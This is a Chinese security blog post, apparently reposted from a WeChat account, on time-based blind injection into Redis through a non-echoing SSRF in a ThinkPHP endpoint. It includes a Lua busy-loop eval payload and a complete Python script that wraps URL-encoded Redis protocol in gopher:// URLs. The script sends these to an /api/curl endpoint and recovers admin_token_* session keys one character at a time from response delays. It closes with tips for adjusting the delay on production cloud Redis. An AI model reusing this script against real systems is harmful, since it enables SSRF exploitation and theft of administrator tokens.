实战环境中 Redis 延时注
本实验环境:
SSRF 不回显
Redis rdp 且 知晓密码 // 云 (基本无rce可能)
代码漏洞点
thinkphp 框架 controller 本文并不做过多解释
延时
# redis 延时命令
eval
'local value = redis.call("KEYS", (tostring(ARGV[1])));
if string.match(value[1]:sub({}, {}), "{}")
then local a=1 while( a < 50000000 ) do a = a+1 end else return 0 end'
0
"admin_token*"
redis 支持执行 lua 脚本
但是在lua sleep 函数中 需要 引入三方包
但是在redis 中做了沙盒限制 所以直接使用for循环达到 延时的作用
基础利用脚本
from
urllib.parse
import
quote
import
requests
import
time
# HOST = "127.0.0.1"
# PORT = "6379"
def
ord2hex
(string):
return
'%'
+
'%02x'
% (
ord
(string))
def
urlencode
(data):
data =
''
.join([ord2hex(i)
for
i
in
data])
return
data
# print("gopher://10.211.55.14:6379/_" + exp)
def
returngopherdata
(num,aa):
# data = '''eval 'local value = redis.call("KEYS", (tostring(ARGV[1]))); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a < 50000000 ) do a = a+1 end else return 0 end' 0 "admin_token_*"rnquit'''.format(str(num),str(num),aa)
num = urlencode(
str
(num))
aa = urlencode(aa)
data =
"%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a"
.
format
(num,num,aa)
data = quote(data)
data =
"gopher://10.211.55.14:6379/_"
+ data
return
data
def
returnpostdata
(gopherdata):
url =
"http://10.211.55.14/api/curl"
headers = {
"User-Agent"
:
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
,
"Content-Type"
:
"application/x-www-form-urlencoded"
}
proxies = {
"http"
:
"http://127.0.0.1:8080"
,
"https"
:
"http://127.0.0.1:8080"
}
data =
'''url={}'''
.
format
(gopherdata)
starttime =
int
(time.time())
r = requests.post(url,data=data,headers=headers,proxies=proxies)
endtime =
int
(time.time())
needtime = endtime - starttime
# print("time : " + str(needtime))
return
needtime
def
main
():
strings =
"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
# admin_token_ts5q9s3hpe5h5fq6pl6776c9tb
results =
""
for
i
in
range
(
13
,
50
):
print
(
"now : "
+
str
(i))
for
aa
in
strings:
gopherdata = returngopherdata(i,aa)
needtime = returnpostdata(gopherdata)
if
needtime >
5
:
results = results + aa
print
(results)
break
# exit()
print
(
"Wait: 5s"
)
time.sleep(
5
)
print
(results)
return
results
if
"__main__"
== __name__:
main()
Redis 协议
redis协议 生成gopher 网上公开的脚本经测试 无法使用 只能自己写
%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a
经url解码后
*2
$6
select
$1
9
*4
$4
eval
$217
local value = redis.call("KEYS", (ARGV[1])); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a < 400000000 ) do a = a+1 end else return 0 end
$1
0
$13
admin_token_*
*1
$4
quit
redis 协议 *
*2
代表有两个arg
例如
select 6
这是两个参数
redis 协议 $
$6
代表下面字符有6个
例如
select
利用
假设 redis 中存在admin_token_asdadasadadad
脚本利用截图
admin_token_asdadasadadad
asdadasadadad
对比情况相同 成功得到管理员token
Tips
现实情况中要考虑网络延迟情况 与 对方服务器情况
并且这个脚本并默认只跑 key 符合 admin_token_* 的第一条内容 如果在脚本运行期间 有新token 加入 则会造成 token 错误的情况 后续需要将payload 更改
每次跑出一位后
例如第一位为a 那么第二次的paylaod 应该为 admin_token_a* 这样就算 脚本运行期间有新的token加入 也不会影响我们得到的token正常使用
每次延时时间要根据对方服务器判断 想靶场环境的话 400000000 大概在三秒左右 如果用线上环境 rds 一类的话 可能只有一秒不到的延时 所以要适量增加 for 循环次数
直接 eval 'local a=1 while( a < 50000000 ) do a = a+1 end' 0 查看回显时间
原文始发于微信公众号(白帽子):实战环境中的Redis 延时注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论